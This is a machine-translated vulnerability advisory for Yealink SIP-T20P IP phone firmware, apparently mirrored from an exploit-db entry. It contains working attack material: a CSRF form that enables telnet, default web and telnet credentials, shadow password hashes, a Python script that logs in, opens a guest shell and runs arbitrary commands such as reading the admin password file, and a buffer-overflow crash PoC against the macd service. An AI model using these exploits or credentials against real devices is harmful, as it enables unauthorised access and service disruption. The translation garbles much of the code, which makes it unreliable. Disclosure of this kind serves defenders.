Yealink SIP-T20P IP Phone hide page Security Bypass Vulnerability

Source: Internet
Author: User
Tags shell account

Release date:
Updated on:

Affected Systems:
Yealink Yealink SIP-T20P IP Phone <= 9.70.0.100
Description:
--------------------------------------------------------------------------------
Bugtraq id: 57029
 
Yealink SIP-T20P is an IP Phone.
 
YeaLink IP Phone SIP-TxxP <= 9.70.0.100 has multiple security bypass, buffer overflow, and cross-site Request Forgery vulnerabilities. Attackers can exploit these vulnerabilities to execute arbitrary code or bypass certain security restrictions, the operation is invalid.

The vulnerability is described as follows:
1) The default username ("user") and password ("user") can access the hidden page http: // <IP>/cgi-bin/ConfigManApp.com? Id = 10. The hidden page contains the options to enable the Telnet function.
2) the firmware contains a hard-coded telnet shell user name and password. The file "/tmp/. htpasswd" contains the password of the "admin" user with the web interface and the file is globally readable.
3) The Cross-Site Request Forgery Vulnerability exists.
4) The/yealink/bin/macd process listening to port 12345 has the buffer overflow vulnerability.
 
For details, see the poc published by xistence.
 
<* Source: xistence (xistence@0x90.nl)

Link: http://www.exploit-db.com/exploits/23572/
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Xistence (xistence@0x90.nl) provides the following test methods:
 
# + Response-+
# Exploit Title: YeaLink IP Phone SIP-TxxP firmware <= 9.70.0.100 Multiple Vulnerabilities
# Date: 12-21-2012
# Author: xistence (xistence <[AT]> 0x90. nl)
# Software link: http://yealink.com/SupportDownloadfiles_detail.aspx? ProductsID = 64 & CateID = 187 & flag = 142
# Vendor site: http://yealink.com
# Version: 9.70.0.100 and lower
# Tested on: YeaLink IP Phone SIP-T20P (hardware VoIP phone)
#
# Vulnerability: Multiple Vulnerabilities as described below
#
# + Response-+

[0x01]-Hidden page to enable telnet + CSRF

The hidden page http: // <IP>/cgi-bin/ConfigManApp.com? Id = 10 contains an option to enable Telnet on the phone. Only the "admin" user can access this page.
However the unprivileged user "user" can post directly to ConfigManApp.com and enable Telnet. This default user "user" has the password "user" and is unlikely to be changed by a user.

Also CSRF to enable this is possible:

<Html>
<Head>
<Title> Enable Telnet </title> <Body>
<Form name = "csrf" action = "http: // <IP>/cgi-bin/ConfigManApp.com" method = "post">
<Input type = "hidden" name = "PAGEID" value = "10"/>
<Input type = "hidden" name = "CONFIG_DATA" value = "1% 261% 261% 261% 260% 261% 261% 260% 261% 261% 260% 26% 260% 260% 260% 260% 260% 261% 261% 260% 260"/>
</Form>
<Script> document. csrf. submit (); </script>
</Body>
</Html>


[0x02]-Default telnet shell users + passwords

The shell users are hardcoded in the firmware images and are always the same and can't be changed through the webinterface. So after enabling telnet through the hidden page shell access cocould go unnoticed.

/Etc/passwd:
Root: x: 0: 0: Root,:/bin/sh
Admin: x: 500: 500: Admin,: // bin/sh
Guest: x: 501: 501: Guest,: // bin/sh

/Etc/shadow:
Root: $1 $ IJZx7biF $ BgyHlA/AgR27VSEBALpqn1: 11876: 0: 99999: 7 :::
Admin: $1 $ Bwt9zCNI $ 7rGLYt. wk. axE.6FUNFZe.: 11876: 0: 99999: 7 :::
Guest: $1 $ A3lIJ0aO $ Is8Ym. J/mpNejleongGft.: 11876: 0: 99999: 7 ::<-password is "guest"

/Etc/group:
Root: x: 0: admin, root
Guest: x: 1: guest

The file "/tmp/. htpasswd" is world readable and contains the "admin" password for the web interface.


[0x03]-Exploit

The following exploit logs in with the unprivileged user "user" and password "user" in the web interface. here it enables telnet, logs in with the default user "guest" and password "guest" and executes the shell command specified.
An example is to do a "cat/tmp/. htpasswd" to retrieve the admin password for the web interface.


#! /Usr/bin/python

Import urllib, urllib2, getpass, sys, telnetlib

Print ""
Print "[*] YeaLink IP Phone SIP-TxxP firmware <= 9.70.0.100 hidden page telnet enabler + default guest shell account command execution-xistence (xistence <[at]> 0x90. nl)-2012-12-21"
Print ""
If (len (sys. argv )! = 3 ):
Print "[*] Usage:" + sys. argv [0] + "<IP of Phone> <command to execute>"
Print "[*] I. e.:" + sys. argv [0] + "127.0.0.1 \" cat/tmp/. htpasswd \""
Print ""
Exit (0)

PhoneIP = sys. argv [1]
ShellCmd = sys. argv [2]

PhoneUrl = 'HTTP: // % s/cgi-bin/ConfigManApp.com '% phoneIP
WebUser = 'user'
WebPass = 'user'
TelnetUser = 'guest'
TelnetPass = 'guest'

Passman = urllib2.HTTPPasswordMgrWithDefaultRealm ()
Passman. add_password (None, phoneUrl, webUser, webPass)
Authhandler = urllib2.HTTPBasicAuthHandler (passman)
Opener = urllib2.build _ opener (authhandler)
Urllib2.install _ opener (opener)
Post_params = urllib. urlencode ([("PAGEID", "10"), ("CONFIG_DATA ", "1% 261% 261% 261% 260% 261% 261% 260% 261% 261% 260% 26% 260% 260% 260% 260% 260% 261% 261% 260% 260")]

Print "[*] Enable telnet on [% s] by posting directly to the hidden page with PAGEID = 10 parameter as unprivileged user [user]" % phoneUrl
Pagehandle = urllib2.urlopen (phoneUrl, post_params)

Print "[*] Making telnet connection to [% s] with default user [% s] and password [% s]" % (phoneIP, telnetUser, telnetPass)
Tn = telnetlib. Telnet (phoneIP)

Tn. read_until ("IPPHONE login :")
Tn. write (telnetUser + "\ n ")
If telnetPass:
Tn. read_until ("Password :")
Tn. write (telnetPass + "\ n ")

Tn. read_until ("$ ")
Print "[*] Executing shell command [% s]" % shellCmd
Tn. write (shellCmd + '\ n ')
Tn. read_until (shellCmd)
Print tn. read_until ("$"). strip ("$ ")
Tn. write ("exit \ n ")
Tn. read_all ()


[0x04]-Remote "/yealink/bin/macd" buffer overflow crash PoC

The following PoC exploit will crash the "/yealink/bin/macd" process on port "12345"

 

#! /Usr/bin/python

Import socket, sys, time, struct

If len (sys. argv) <2:
Print "[*] YeaLink IP Phone SIP-TxxP firmware <= 9.70.0.100/yealink/bin/macd remote buffer overflow crash PoC-xistence (xistence <[at]> 0x90. nl)-2012-12-21"
Print "[-] Usage: % s <target addr>" % sys. argv [0]

Sys. exit (0)

Target = sys. argv [1]

If len (sys. argv)> 2:
Platform = sys. argv [2]

Buffer = "\ x41" * 75

S = socket. socket (socket. AF_INET, socket. SOCK_STREAM)
Try:
S. connect (target, 12345 ))
Except t:
Print "[-] Connection to" + target + "failed! "
Sys. exit (0)

Print "[*] YeaLink IP Phone SIP-TxxP firmware <= 9.70.0.100/yealink/bin/macd remote buffer overflow crash PoC-xistence (xistence <[at]> 0x90. nl)-2012-12-21"
Print "[*] Sending" + 'len (buffer) '+ "byte crash"

S. send (buffer + "\ r \ n ")
S. recv (1024)

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Yealink
-------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://yealink.com/SupportDownloadfiles_detail.aspx? ProductsID = 64 & CateID = 187 & flag = 142

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.